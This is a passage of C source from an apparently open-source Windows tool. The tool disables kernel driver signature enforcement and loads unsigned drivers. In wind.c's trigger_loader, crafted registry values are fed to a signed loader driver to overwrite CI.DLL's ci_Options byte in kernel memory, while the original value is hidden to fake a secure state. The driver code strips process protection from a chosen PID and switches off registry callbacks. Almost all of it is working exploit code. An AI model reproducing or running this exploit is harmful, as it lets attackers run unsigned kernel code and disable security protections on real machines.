WIND_IOCTL_REGLOCKOFF: 459 | status = regs_do(reg_set_lock, &us, onoff); 460 | break; 461 | case WIND_IOCTL_REGNON: 462 | case WIND_IOCTL_REGNOFF: 463 | status = regs_do(reg_set_notify, &us, onoff); 464 | break; 465 | case WIND_IOCTL_PROT: 466 | if (len != sizeof(wind_prot_t)) 467 | goto out; 468 | status = change_prot(buf); 469 | irp->IoStatus.Information = len; 470 | break; 471 | case WIND_IOCTL_REGCBON: 472 | case WIND_IOCTL_REGCBOFF: 473 | status = regcb_set(onoff); 474 | break; 475 | } 476 | out:; 477 | KeReleaseMutex(&ioctl_mutex, 0); 478 | irp->IoStatus.Status = status; 479 | IoCompleteRequest(irp, IO_NO_INCREMENT); 480 | return status; 481 | } 482 | 483 | static VOID NTAPI dev_unload(IN PDRIVER_OBJECT self) 484 | { 485 | DBG("unloading!\n"); 486 | // Restore callbacks. 487 | regcb_set(1); 488 | // Nuke our own notify, so that kernel does not call junk. 489 | reg_set_notify(&RTL_STRING(POLICY_PATH), 0); 490 | IoDeleteDevice(self->DeviceObject); 491 | } 492 | 493 | static int k_brute() 494 | { 495 | UCHAR *p = MmGetSystemRoutineAddress(&RTL_STRING(L"MmMapViewInSessionSpace")); 496 | DBG("marker at %p\n", p); 497 | if (!p) return 0; 498 | for (int i = 0; i < 256*1024; i++, p--) { 499 | #ifdef _WIN64 500 | if (EQUALS(p + 14,"\x48\x81\xec\xa0\x04\x00\x00") && p[0] == 0x48) 501 | #else 502 | if (EQUALS(p,"\x68\x28\x04\x00\x00\x68")) 503 | #endif 504 | { 505 | DBG("ExUpdateLicenseData guessed at %p\n", p); 506 | cfg.pExUpdateLicenseData2 = (void*)p; 507 | return 1; 508 | } 509 | } 510 | DBG("Even the brute guess failed.\n"); 511 | return 0; 512 | } 513 | 514 | static int k_analyze() 515 | { 516 | int i; 517 | UCHAR *p = (void*)MmGetSystemRoutineAddress(&RTL_STRING(L"PsGetProcessProtection")); 518 | cfg.protbit = -1; 519 | cfg.protofs = 0; 520 | if (!p) { 521 | cfg.protbit = 11; 522 | p = (void*)MmGetSystemRoutineAddress(&RTL_STRING(L"PsIsProtectedProcess")); 523 | // mov 524 | for (i = 0; i < 64; i++, p++) 525 | // mov eax, [anything + OFFSET]; shr eax, 11 526 | if (RtlCompareMemory(p+2, "\x00\x00\xc1\xe8\x0b",5)==5) 527 | goto protfound; 528 | } else { 529 | // mov al, [anything+OFFSET] 530 | for (i =0 ; i < 64; i++, p++) 531 | if ((p[-2] == 0x8a) && (!p[2] && !p[3])) 532 | goto protfound; 533 | } 534 | DBG("failed to find protbit\n"); 535 | return 0; 536 | protfound:; 537 | cfg.protofs = *((ULONG*)p); 538 | DBG("prot done"); 539 | 540 | p = (void*)MmGetSystemRoutineAddress(&RTL_STRING(L"CmUnRegisterCallback")); 541 | if (!p) goto nocb; 542 | for (i = 0; i < 512; i++, p++) { 543 | #ifdef _WIN64 544 | // lea rcx, cblist; call ..; mov rdi, rax 545 | if (p[-3] == 0x48 && p[-2] == 0x8d && p[-1] == 0x0d && 546 | p[4] == 0xe8 && p[9] == 0x48 && p[10] == 0x8b && p[11] == 0xf8) { 547 | cfg.cblist = (void*)((p + 4) + *((LONG*)p)); 548 | break; 549 | } 550 | 551 | #else 552 | // mov edi, offset cblist; mov eax, edi; call 553 | if ((p[-1] == 0xbf && p[4] == 0x8b && p[5] == 0xc7 && p[6] == 0xe8) || 554 | (p[-1] == 0xbe && p[4] == 0x53 && p[5] == 0x8d && p[6] == 0x55)) { 555 | cfg.cblist = *((void**)p); 556 | break; 557 | } 558 | #endif 559 | } 560 | nocb:; 561 | DBG("CallbackListHead @ %p", cfg.cblist); 562 | cfg.pExUpdateLicenseData = MmGetSystemRoutineAddress(&RTL_STRING(L"ExUpdateLicenseData")); 563 | if (cfg.pExUpdateLicenseData) 564 | return 1; 565 | 566 | return k_brute(); 567 | } 568 | 569 | 570 | NTSTATUS NTAPI ENTRY(driver_entry)(IN PDRIVER_OBJECT self, IN PUNICODE_STRING reg) 571 | { 572 | PDEVICE_OBJECT dev; 573 | NTSTATUS status; 574 | UNICODE_STRING regs[4]={{0}}; 575 | RTL_QUERY_REGISTRY_TABLE tab[] = {{ 576 | .Flags = RTL_QUERY_REGISTRY_DIRECT 577 | |RTL_QUERY_REGISTRY_TYPECHECK 578 | |RTL_QUERY_REGISTRY_REQUIRED 579 | #ifdef NDEBUG 580 | |RTL_QUERY_REGISTRY_DELETE 581 | #endif 582 | , 583 | .Name = L"cfg", 584 | .EntryContext = &cfg, 585 | .DefaultType = (REG_BINARY<Buffer, tab, NULL, NULL); 615 | if (!NT_SUCCESS(status)) { 616 | DBG("registry read failed=%x\n",(unsigned)status); 617 | return status; 618 | } 619 | self->DriverUnload = dev_unload; 620 | self->MajorFunction[IRP_MJ_CREATE] = dev_open; 621 | self->MajorFunction[IRP_MJ_DEVICE_CONTROL] = dev_control; 622 | 623 | status = IoCreateDevice(self, 0, &RTL_STRING(L"\\Device\\" WIND_DEVNAME), 624 | FILE_DEVICE_UNKNOWN, 0, 0, &dev); 625 | 626 | if (!NT_SUCCESS(status)) { 627 | DBG("failed to create device=%08x\n",(unsigned)status); 628 | return status; 629 | } 630 | 631 | if (cfg.ci_orig) 632 | cfg.ci_guess = *cfg.ci_orig; 633 | ci_restore(); 634 | 635 | KeInitializeMutex(&ioctl_mutex, 0); 636 | KeWaitForMutexObject(&ioctl_mutex, UserRequest, KernelMode, FALSE, NULL); 637 | 638 | dev->Flags |= METHOD_BUFFERED; 639 | dev->Flags &= ~DO_DEVICE_INITIALIZING; 640 | 641 | if (cfg.bootreg) { 642 | regs_do(reg_set_lock, regs, 0); 643 | regs_do(reg_set_lock, regs+1, 1); 644 | regs_do(reg_set_notify, regs+2, 0); 645 | regs_do(reg_set_notify, regs+3, 1); 646 | } 647 | 648 | if (k_analyze()) { 649 | HANDLE kh; 650 | reg_set_notify(&RTL_STRING(POLICY_PATH), 0); 651 | if (NT_SUCCESS(open_key(&kh, &RTL_STRING(POLICY_PATH)))) 652 | pol_arm_notify(kh); 653 | } 654 | 655 | DBG("initialized driver with:\n" 656 | " .ci_opt = %p\n" 657 | " .ci_orig = %p\n" 658 | " .ci_guess = %02x\n" 659 | " .protofs = %x\n" 660 | " .protbit = %d\n", cfg.ci_opt, cfg.ci_orig, cfg.ci_guess, 661 | cfg.protofs, cfg.protbit); 662 | 663 | KeReleaseMutex(&ioctl_mutex, 0); 664 | DBG("loaded driver\n"); 665 | return status; 666 | } 667 | 668 | -------------------------------------------------------------------------------- /manifest.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /ntcruft.h: -------------------------------------------------------------------------------- 1 | 2 | typedef struct { 3 | HANDLE Section; 4 | PVOID MappedBase; 5 | PVOID ImageBase; 6 | ULONG ImageSize; 7 | ULONG Flags; 8 | USHORT LoadOrderIndex; 9 | USHORT InitOrderIndex; 10 | USHORT LoadCount; 11 | USHORT OffsetToFileName; 12 | UCHAR FullPathName[256]; 13 | } RTL_PROCESS_MODULE_INFORMATION; 14 | typedef struct { 15 | ULONG NumberOfModules; 16 | RTL_PROCESS_MODULE_INFORMATION Modules[1]; 17 | } RTL_PROCESS_MODULES; 18 | 19 | typedef struct { 20 | PVOID QueryRoutine; 21 | ULONG Flags; 22 | PCWSTR Name; 23 | PVOID EntryContext; 24 | ULONG DefaultType; 25 | PVOID DefaultData; 26 | ULONG DefaultLength; 27 | } RTL_QUERY_REGISTRY_TABLE; 28 | 29 | NTSTATUS NTAPI NtLoadDriver(PUNICODE_STRING); 30 | NTSTATUS NTAPI NtUnloadDriver(PUNICODE_STRING); 31 | NTSTATUS NTAPI RtlCreateRegistryKey(ULONG,PWSTR); 32 | NTSTATUS NTAPI RtlWriteRegistryValue(ULONG,PCWSTR,PCWSTR,ULONG,PVOID,ULONG); 33 | NTSTATUS NTAPI NtOpenKey(PHANDLE,ACCESS_MASK,POBJECT_ATTRIBUTES); 34 | NTSTATUS NTAPI NtDeleteKey(HANDLE); 35 | NTSTATUS NTAPI RtlAdjustPrivilege(ULONG,BOOLEAN,BOOLEAN,PBOOLEAN); 36 | 37 | 38 | -------------------------------------------------------------------------------- /regint.h: -------------------------------------------------------------------------------- 1 | typedef struct { 2 | ULONG RefCount; 3 | ULONG ExtFlags : 16; 4 | ULONG PrivateAlloc : 1; 5 | ULONG Delete : 1; 6 | ULONG HiveUnloaded : 1; 7 | ULONG Decommissioned : 1; 8 | ULONG LockTablePresent : 1; 9 | ULONG TotalLevels : 10; 10 | ULONG : 1; 11 | ULONG DelayedDeref : 1; 12 | ULONG DelayedClose : 1; 13 | ULONG Parking : 1; 14 | } CM_KEY_CONTROL_BLOCK; 15 | 16 | typedef struct { 17 | LIST_ENTRY HiveList; 18 | LIST_ENTRY PostList; 19 | CM_KEY_CONTROL_BLOCK *KeyControlBlock; 20 | struct CM_KEY_BODY *KeyBody; 21 | ULONG Filter : 30; 22 | ULONG WatchTree : 1; 23 | ULONG NotifyPending : 1; 24 | ULONG opaque[0]; 25 | } CM_NOTIFY_BLOCK; 26 | 27 | typedef struct CM_KEY_BODY { 28 | ULONG Type; 29 | CM_KEY_CONTROL_BLOCK *KeyControlBlock; 30 | CM_NOTIFY_BLOCK *NotifyBlock; 31 | void *procid; 32 | LIST_ENTRY KeyBodyList; 33 | } CM_KEY_BODY; 34 | 35 | #define CM_KCB_READ_ONLY_KEY 0x0080 36 | #define CM_KCB_NO_DELAY_CLOSE 0x0020 37 | 38 | 39 | -------------------------------------------------------------------------------- /service.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include "defs.h" 6 | #include "ntcruft.h" 7 | #include "wind.h" 8 | 9 | static void *patch_iat(HMODULE hostexe, char *dll, char *func, void *to) 10 | { 11 | PIMAGE_DOS_HEADER mz = (void*)hostexe; 12 | PIMAGE_IMPORT_DESCRIPTOR imports; 13 | 14 | imports = RVA2PTR(mz, ((PIMAGE_NT_HEADERS)RVA2PTR(mz, mz->e_lfanew))-> 15 | OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); 16 | 17 | for (int i = 0; imports[i].Characteristics; i++) { 18 | PIMAGE_THUNK_DATA t1, t2; 19 | PIMAGE_IMPORT_BY_NAME import; 20 | 21 | char *dlln = RVA2PTR(mz, imports[i].Name); 22 | DBG("checking dll %s", dlln); 23 | if (_stricmp(dll, dlln)) 24 | continue; 25 | 26 | t1 = RVA2PTR(mz, imports[i].FirstThunk); 27 | t2 = RVA2PTR(mz, imports[i].OriginalFirstThunk); 28 | 29 | for (; t2->u1.Function; t1++, t2++) { 30 | void *oldfn; 31 | DWORD oldp; 32 | MEMORY_BASIC_INFORMATION vmi; 33 | 34 | if (t2->u1.Ordinal & IMAGE_ORDINAL_FLAG) 35 | continue; 36 | 37 | import = RVA2PTR(mz, t2->u1.AddressOfData); 38 | if (strcmp(func, (char*)import->Name)) 39 | continue; 40 | 41 | oldfn = (void*)t1->u1.Function; 42 | DBG("oldfn is %p\n",oldfn); 43 | 44 | VirtualQuery(t1, &vmi, sizeof(vmi)); 45 | if (!VirtualProtect(vmi.BaseAddress, vmi.RegionSize, PAGE_READWRITE, &oldp)) { 46 | DBG("VirtualProtect failed with %d", (int)GetLastError()); 47 | return NULL; 48 | } 49 | t1->u1.Function = (ULONG_PTR)to; 50 | VirtualProtect(vmi.BaseAddress, vmi.RegionSize, oldp, &oldp); 51 | return oldfn; 52 | } 53 | } 54 | DBG("symbol %s@%s not found in imports", func, dll); 55 | return NULL; 56 | } 57 | 58 | static NTSTATUS insmod(PUNICODE_STRING svc) 59 | { 60 | return wind_insmod(svc->Buffer); 61 | } 62 | 63 | BOOL APIENTRY ENTRY(dll_main)(HANDLE hModule, DWORD code, LPVOID res) 64 | { 65 | static int done = 0; 66 | if (code != DLL_PROCESS_ATTACH || done) 67 | return TRUE; 68 | done = 1; 69 | DBG("inside dll!"); 70 | patch_iat(GetModuleHandle(NULL), "ntdll.dll", "NtLoadDriver", insmod); 71 | return TRUE; 72 | } 73 | 74 | -------------------------------------------------------------------------------- /wind.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include "defs.h" 7 | #include "ntcruft.h" 8 | #include "wind.h" 9 | 10 | static void *get_res(int id, int *len) 11 | { 12 | HRSRC h = FindResource(NULL, MAKEINTRESOURCE(id), RT_RCDATA); 13 | HGLOBAL g = LoadResource(NULL, h); 14 | *len = SizeofResource(NULL, h); 15 | return LockResource(g); 16 | } 17 | 18 | static void *get_mod_info() 19 | { 20 | DWORD got = 0; 21 | void *m; 22 | 23 | NTSTATUS ret = NtQuerySystemInformation( 24 | SystemModuleInformation, NULL, 0, &got); 25 | if (ret != STATUS_INFO_LENGTH_MISMATCH) 26 | return NULL; 27 | 28 | m = malloc(got); 29 | if (NT_SUCCESS(NtQuerySystemInformation(SystemModuleInformation, m, got, &got))) 30 | return m; 31 | free(m); 32 | return NULL; 33 | } 34 | 35 | static ULONG_PTR get_mod_base(RTL_PROCESS_MODULES *m, char *name) 36 | { 37 | for (int i = 0; i < m->NumberOfModules; i++) { 38 | RTL_PROCESS_MODULE_INFORMATION *p = m->Modules + i; 39 | if (!stricmp(name, (char*)p->FullPathName + p->OffsetToFileName)) 40 | return (ULONG_PTR)p->ImageBase; 41 | } 42 | return 0; 43 | } 44 | 45 | #ifndef _WIN64 46 | // on x86, we dont have the luxury of saving the original ci_Options 47 | // We attempt to guess semi-correct value of the first byte. 48 | // Since x86 has no PatchGuard running (yet?), this needs to be only 49 | // semi-accurate to feign the "secure" kernel status. 50 | static ULONG_PTR guess_ci() 51 | { 52 | DWORD dw, infoci[2] = { sizeof(infoci) }; 53 | unsigned char infosb[0x18]; 54 | unsigned char infobe[0x20]; 55 | ULONG_PTR ret = 0; 56 | NTSTATUS status; 57 | 58 | status = NtQuerySystemInformation(SystemCodeIntegrityInformation, &infoci, sizeof(infoci), &dw); 59 | DBG("QueryCI status %08x", (unsigned)status); 60 | if (!NT_SUCCESS(status)) 61 | return 0; 62 | dw = sizeof(infosb); 63 | status = NtQuerySystemInformation(SystemSecureBootPolicyInformation, &infosb, sizeof(infosb), &dw); 64 | DBG("QuerySecureBoot status %08x", (int)status); 65 | if (NT_SUCCESS(status)) { 66 | dw = sizeof(infobe); 67 | // if ( *(_BYTE *)(v5 + 0x14) & 0x80 ) 68 | // { 69 | // LOWORD(v8) = g_CiOptions | 0x20; 70 | // g_CiOptions |= 0x20u; 71 | // } 72 | status = NtQuerySystemInformation(SystemBootEnvironmentInformation, &infobe, sizeof(infobe), &dw); 73 | DBG("QueryBootEnv status %08x", (int)status); 74 | if (NT_SUCCESS(status)) { 75 | if (infosb[0x14] & 0x80) 76 | ret |= 0x20; 77 | } 78 | } 79 | 80 | DBG("infoci is %d", (int)infoci[1]); 81 | if (infoci[1] & 1) // enabled 82 | ret |= 6; 83 | if (infoci[1] & 2) // testsign 84 | ret |= 8; 85 | 86 | return ret; 87 | } 88 | #endif 89 | 90 | static ULONG_PTR ci_analyze(void *mods, wind_config_t *cfg) 91 | { 92 | HMODULE ci; 93 | BYTE *p; 94 | ULONG_PTR mod; 95 | ULONG_PTR base = get_mod_base(mods, "CI.DLL"); 96 | ULONG_PTR ci_opt = 0; 97 | ULONG_PTR key = 0; 98 | WCHAR path[PATH_MAX]; 99 | #ifdef _WIN64 100 | MEMORY_BASIC_INFORMATION info; 101 | #endif 102 | wcscpy(path + GetSystemDirectory(path, PATH_MAX), L"\\CI.DLL"); 103 | ci = LoadLibraryEx(path, NULL, DONT_RESOLVE_DLL_REFERENCES); 104 | if (!ci) { 105 | DBG("no ci initialize %d %S",(int)GetLastError(), path); 106 | goto out_free; 107 | } 108 | 109 | p = (void*)GetProcAddress(ci, "CiInitialize"); 110 | mod = (ULONG_PTR)ci; 111 | 112 | DBG("analyzing ci, modbase=%p, userbase=%p",(void*)base, (void*)mod); 113 | 114 | // find jmp CipInitialize 115 | for (int i = 0; i < 100; i++, p++) { 116 | // jmp/call forwardnearby 117 | if (((p[-1]&0xfe) == 0xe8) && ((!(p[2]|p[3]))||((p[2]&p[3])==0xff))) { 118 | BYTE *t = p + 4 + *((DWORD*)p); 119 | DBG("candidate %x %p",p[-1],t); 120 | // Don't eat the security cookie 121 | #ifdef _WIN64 122 | // mov rax, [rip+something] 123 | if (EQUALS(t, "\x48\x8b\x05")) 124 | continue; 125 | #else 126 | // mov eax, [something] 127 | if (t[0] == 0xa1) 128 | continue; 129 | #endif 130 | goto cipinit_found; 131 | } 132 | } 133 | DBG("CipInitialize not found in vicinity"); 134 | goto out_free; 135 | cipinit_found: 136 | DBG("CipRef @ %p", p); 137 | p = p + 4 + *((DWORD*)p); 138 | DBG("CiInitialize @ %p", p); 139 | 140 | for (int i = 0; i < 100; i++, p++) { 141 | #ifdef _WIN64 142 | // mov ci_Options, ecx; check the relip points back and close 143 | if (p[-2] == 0x89 && p[-1] == 0x0d && p[3] == 0xff) { 144 | ci_opt = (ULONG_PTR)(p + 4) + *((LONG*)p); 145 | goto found_ci; 146 | } 147 | #else 148 | // mov ci_Options, eax|ecx; call __imp_something 149 | if (p[4] == 0xff && p[5] == 0x15) 150 | { 151 | DWORD dw = *((DWORD*)(p+6)); 152 | if (dw > mod && dw < (mod+1024*1024)) { 153 | ci_opt = *(ULONG_PTR*)p; 154 | goto found_ci; 155 | } 156 | } 157 | #endif 158 | } 159 | DBG("ci_Options not found"); 160 | goto out_free; 161 | found_ci: 162 | #ifdef _WIN64 163 | // Scratch space we use to stash original ci_Options into 164 | if (!VirtualQuery((void*)ci_opt, &info, sizeof(info))) 165 | goto out_free; 166 | cfg->ci_orig = ((info.BaseAddress + info.RegionSize - 4) - mod + base); 167 | // Some dummy, unknown key 168 | p = (void*)mod + 4096; 169 | // key address must incorporate RTL_QUERY_REGISTRY_DIRECT ! 170 | while (*((UINT32*)p)>0xff || (!(((ULONG_PTR)p)&0x20))) p++; 171 | key = (ULONG_PTR)p - mod + base; 172 | #else 173 | cfg->ci_guess = guess_ci(); 174 | key = 1; 175 | #endif 176 | cfg->ci_opt = (void*)(ci_opt - mod + base); 177 | out_free: 178 | FreeLibrary(ci); 179 | DBG("ci done %d",(int)key); 180 | return key; 181 | } 182 | 183 | static int nt_path(WCHAR *dst, WCHAR *src) 184 | { 185 | // TBD: something smarter may be needed 186 | return swprintf(dst, PATH_MAX, L"\\??\\%s", src)*2+2; 187 | } 188 | 189 | static int create_service(WCHAR *svc, WCHAR *name, WCHAR *image) 190 | { 191 | WCHAR tmp[PATH_MAX]; 192 | DWORD dw; 193 | wcscpy(svc, SVC_BASE); 194 | if (name) { 195 | wcscat(svc, name); 196 | } else { 197 | int p = wcslen(svc); 198 | for (WCHAR *i = name = image; *i; i++) 199 | if (*i == L'\\') 200 | name = i+1; 201 | while (*name && *name != '.') 202 | svc[p++] = *name++; 203 | svc[p] = 0; 204 | } 205 | 206 | if (!NT_SUCCESS(RtlCreateRegistryKey(0, svc))) 207 | return 0; 208 | RtlWriteRegistryValue(0, svc, L"ImagePath", REG_SZ, tmp, nt_path(tmp, image)); 209 | dw = 1; 210 | RtlWriteRegistryValue(0,svc, L"Type", REG_DWORD, &dw, sizeof(dw)); 211 | DBG("created service reg=%S, image=%S", svc, image); 212 | return 1; 213 | } 214 | 215 | static void *read_file(WCHAR *path, int *len) 216 | { 217 | DWORD sz, ret = 0; 218 | HANDLE f; 219 | void *buf; 220 | f = CreateFile(path, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0); 221 | if (f == INVALID_HANDLE_VALUE) 222 | return 0; 223 | sz = GetFileSize(f, NULL); 224 | if (sz == INVALID_FILE_SIZE) 225 | return NULL; 226 | DBG("reading %S, size=%d", path, (int)sz); 227 | buf = malloc(sz); 228 | if ((!ReadFile(f, buf, sz, &ret, NULL)) || (sz != ret)) { 229 | DBG("read failed %d/%d %x",(int)sz,(int)ret,(int)GetLastError()); 230 | CloseHandle(f); 231 | free(buf); 232 | return NULL; 233 | } 234 | CloseHandle(f); 235 | *len = sz; 236 | return buf; 237 | } 238 | 239 | static int update_file(WCHAR *fullpath, WCHAR *name, int res) 240 | { 241 | DWORD sz; 242 | WCHAR tmp[PATH_MAX]; 243 | HANDLE f; 244 | int needmove = 0; 245 | int elen, len, ret = 0; 246 | void *ebuf, *buf; 247 | 248 | DBG("updating file %S, rsrc=%d", name, res); 249 | 250 | if (res < 0) { 251 | if (!GetModuleFileName(NULL, tmp, PATH_MAX)) 252 | return 0; 253 | DBG("got self %S",tmp); 254 | buf = read_file(tmp, &len); 255 | } else buf = get_res(res, &len); 256 | 257 | if (!buf) { 258 | DBG("failed to get update buffer data"); 259 | return 0; 260 | } 261 | 262 | wcscpy(fullpath + GetSystemDirectory(fullpath, PATH_MAX), name); 263 | sz = GetFileSize(fullpath, NULL); 264 | DBG("got fullpath %S", fullpath); 265 | 266 | ebuf = read_file(fullpath, &elen); 267 | if (ebuf) { 268 | if ((elen == len) && (!memcmp(ebuf, buf, len))) { 269 | ret = 1; 270 | DBG("files equal, skip"); 271 | goto out; 272 | } 273 | DBG("file nonequal? %d %d", elen,len); 274 | } 275 | 276 | f = CreateFile(fullpath, FILE_WRITE_DATA, 277 | FILE_SHARE_READ, 0, CREATE_ALWAYS, 0, 0); 278 | DBG("create %p",f); 279 | if (f == INVALID_HANDLE_VALUE) { 280 | swprintf(tmp, PATH_MAX, L"%s.new", fullpath); 281 | f = CreateFile(tmp, FILE_WRITE_DATA, 282 | FILE_SHARE_READ, 0, CREATE_ALWAYS, 0, 0); 283 | if (f == INVALID_HANDLE_VALUE) 284 | goto out; 285 | needmove = 1; 286 | } 287 | 288 | sz = 0; 289 | ret = WriteFile(f, buf, len, &sz, NULL); 290 | CloseHandle(f); 291 | if (!ret || sz != len) { 292 | DeleteFile(needmove?tmp:fullpath); 293 | goto out; 294 | } 295 | if (needmove) { 296 | DBG("Will move from %S to %S on next boot", tmp, fullpath); 297 | ret = MoveFileEx(tmp, fullpath, MOVEFILE_DELAY_UNTIL_REBOOT|MOVEFILE_REPLACE_EXISTING); 298 | if (!ret) DeleteFile(tmp); 299 | } 300 | DBG("ret done %d",ret); 301 | out:; 302 | if (ebuf) 303 | free(ebuf); 304 | if (res < 0) 305 | free(buf); 306 | return ret; 307 | } 308 | 309 | static int install_files(WCHAR *svc, WCHAR *ldr) 310 | { 311 | WCHAR dllpath[PATH_MAX]; 312 | WCHAR syspath[PATH_MAX]; 313 | WCHAR ldrpath[PATH_MAX]; 314 | 315 | if (!update_file(dllpath, L"\\" BASENAME ".exe", -1)) 316 | return 0; 317 | if (!update_file(dllpath, L"\\" BASENAME ".dll", DLL_ID)) 318 | return 0; 319 | if (!update_file(syspath, L"\\drivers\\" BASENAME ".sys", SYS_ID)) 320 | return 0; 321 | if (!update_file(ldrpath, L"\\drivers\\" BASENAME "loader.sys", LOADER_ID)) 322 | return 0; 323 | 324 | if (!create_service(svc, NULL, syspath)) 325 | return 0; 326 | if (!create_service(ldr, NULL, ldrpath)) 327 | return 0; 328 | 329 | return 1; 330 | } 331 | 332 | static HANDLE trigger_loader(WCHAR *svc, WCHAR *ldr, int boot) 333 | { 334 | wind_config_t cfg = {.bootreg=boot}; 335 | NTSTATUS status; 336 | UNICODE_STRING svcu, ldru; 337 | HANDLE dev = NULL; 338 | void *mod = get_mod_info(); 339 | ULONG_PTR key = ci_analyze(mod, &cfg); 340 | 341 | #ifdef _WIN64 342 | struct { 343 | UINT64 pad; 344 | RTL_QUERY_REGISTRY_TABLE tab[4] ; 345 | } buffer = { .tab = { 346 | {}, {}, 347 | { // save original ci_Options byte to cisave 348 | .Flags = 32, // DIRECT 349 | .Name = (void*)key, // valid string, but non-existent key 350 | .EntryContext = (void*)cfg.ci_orig, // destination 351 | .DefaultType = REG_DWORD, 352 | .DefaultData = (void*)cfg.ci_opt, // source 353 | .DefaultLength = 1 // save 1 byte 354 | }, 355 | { // overwrite ci_Options byte with 0 356 | .Flags = 32, // DIRECT 357 | .Name = (void*)key, // valid string, but non-existent key 358 | .EntryContext = (void*)cfg.ci_opt, // data to overwrite 359 | .DefaultType = REG_DWORD, 360 | .DefaultData = (void*)key + 2, // source - 4 zeros 361 | .DefaultLength = 1 // overwrite 1 byte 362 | } 363 | }}; 364 | RtlWriteRegistryValue(0, ldr, L"FlowControlDisable", REG_SZ, L"x", 4); 365 | #else 366 | DWORD zero = 0; 367 | // smash 4 stack DWORD entries 368 | RtlWriteRegistryValue(0, ldr, L"FlowControlDisable", REG_MULTI_SZ, L"x\0x\0", 10); 369 | // target addr 370 | RtlWriteRegistryValue(0, ldr, L"FlowControlDisplayBandwidth", REG_DWORD, &cfg.ci_opt, 4); 371 | // and write 0 byte there 372 | RtlWriteRegistryValue(0, ldr, L"FlowControlChannelBandwidth", REG_SZ, &zero, 1); 373 | #endif 374 | if (!key) 375 | goto out; 376 | 377 | DBG("preparing cfg for driver with:\n" 378 | " .ci_opt = %p\n" 379 | " .ci_orig = %p\n" 380 | " .ci_guess = %02x\n" 381 | , cfg.ci_opt, cfg.ci_orig, cfg.ci_guess); 382 | 383 | RtlWriteRegistryValue(0, svc, L"cfg", REG_BINARY, &cfg, sizeof(cfg)); 384 | 385 | RtlInitUnicodeString(&svcu, svc); 386 | RtlInitUnicodeString(&ldru, ldr); 387 | 388 | for (int retry = 0; 1; retry++) { 389 | // try to load our driver if loader suceeded 390 | status = NtLoadDriver(&svcu); 391 | (void)status; 392 | DBG("NtLoadDriver(%S) = %08x", svcu.Buffer, (unsigned)status); 393 | dev = wind_open(); 394 | DBG("devopen=%p",dev); 395 | // remove loader, if still there 396 | status = NtUnloadDriver(&ldru); 397 | DBG("NtUnloadDriver(%S) = %08x", ldru.Buffer, (unsigned)status); 398 | // exit if we're in 399 | if (dev) 400 | break; 401 | if (retry == 2) 402 | break; 403 | #ifdef _WIN64 404 | // first attempt - positive REG_BINARY length 405 | if (!retry) { 406 | DBG("REG_BINARY positive"); 407 | RtlWriteRegistryValue(0, ldr, L"FlowControlDisplayBandwidth", REG_BINARY, 408 | ((void*)buffer.tab)+4, sizeof(buffer.tab)-4); 409 | } else { 410 | DBG("REG_BINARY negative"); 411 | RtlWriteRegistryValue(0, ldr, L"FlowControlDisplayBandwidth",REG_BINARY, 412 | ((void*)buffer.tab)-4, sizeof(buffer.tab)+4); 413 | } 414 | #endif 415 | // request loader driver again 416 | status = NtLoadDriver(&ldru); 417 | DBG("NtLoadDriver(%S) = %08x", ldru.Buffer, (unsigned)status); 418 | } 419 | out:; 420 | free(mod); 421 | return dev; 422 | } 423 | 424 | static HANDLE check_driver(int force, int boot) 425 | { 426 | HANDLE dev; 427 | dev = wind_open(); 428 | if (!dev || force) { 429 | HANDLE hmutex; 430 | WCHAR svc[PATH_MAX], ldr[PATH_MAX]; 431 | 432 | hmutex = CreateMutex(NULL, 0, L"mutex"BASENAME); 433 | WaitForSingleObject(hmutex,INFINITE); 434 | 435 | if (install_files(svc, ldr)) 436 | dev = trigger_loader(svc, ldr, boot); 437 | 438 | ReleaseMutex(hmutex); 439 | CloseHandle(hmutex); 440 | } 441 | return dev; 442 | } 443 | 444 | static int elevate() 445 | { 446 | BOOLEAN old; 447 | if (!NT_SUCCESS(RtlAdjustPrivilege(ID_SeLoadDriverPrivilege, 1, 0, &old))) { 448 | printf("You need to run this command as an Administrator.\n"); 449 | return 0; 450 | } 451 | return 1; 452 | } 453 | 454 | static int unprotect(WCHAR *p) 455 | { 456 | NTSTATUS st; 457 | HANDLE dev; 458 | wind_prot_t prot = {0}; 459 | if (!elevate()) 460 | return 0; 461 | WSKIP(p); 462 | prot.pid = _wtoi(p); 463 | dev = check_driver(0,0); 464 | if (!dev) { 465 | printf("Failed to open/install WinD device.\n"); 466 | return 0; 467 | } 468 | st = wind_ioctl(dev, WIND_IOCTL_PROT, &prot, sizeof(prot)); 469 | wind_close(dev); 470 | if (!NT_SUCCESS(st)) { 471 | printf("Failed to de-protect %d, status %08x\n", 472 | (int)prot.pid, (int)st); 473 | return 0; 474 | } 475 | printf("%d is now de-protected.\n",(int)prot.pid); 476 | return 1; 477 | } 478 | 479 | static int load_driver(WCHAR *name) 480 | { 481 | WCHAR svc[PATH_MAX]; 482 | NTSTATUS status; 483 | HANDLE dev; 484 | int ret = 0; 485 | 486 | if (!elevate()) 487 | return 0; 488 | 489 | dev = check_driver(0,0); 490 | if (!name) { 491 | ret = !!dev; 492 | goto outclose; 493 | } 494 | 495 | if (!dev) { 496 | printf("Control driver failed to load. Use debug binary for details.\n"); 497 | goto outclose; 498 | } 499 | 500 | WSKIP(name); 501 | 502 | if (!*name) { 503 | ret = 1; 504 | printf("Control driver loaded.\n"); 505 | goto outclose; 506 | } 507 | 508 | // create service? 509 | for (int i = 0; name[i]; i++) { 510 | if (name[i] == L'.') { 511 | WCHAR fullpath[PATH_MAX]; 512 | GetFullPathName(name, PATH_MAX, fullpath, NULL); 513 | if (!create_service(svc, NULL, fullpath)) { 514 | printf("Failed to create service for file %S", fullpath); 515 | goto outclose; 516 | } 517 | goto havesvc; 518 | } 519 | } 520 | wcscpy(svc, SVC_BASE); 521 | wcscat(svc, name); 522 | havesvc:; 523 | status = wind_ioctl_string(dev, WIND_IOCTL_INSMOD, svc); 524 | if (!NT_SUCCESS(status)) { 525 | if (status == STATUS_IMAGE_ALREADY_LOADED) { 526 | UNICODE_STRING us; 527 | RtlInitUnicodeString(&us, svc); 528 | status = NtUnloadDriver(&us); 529 | if (!NT_SUCCESS(status)) { 530 | 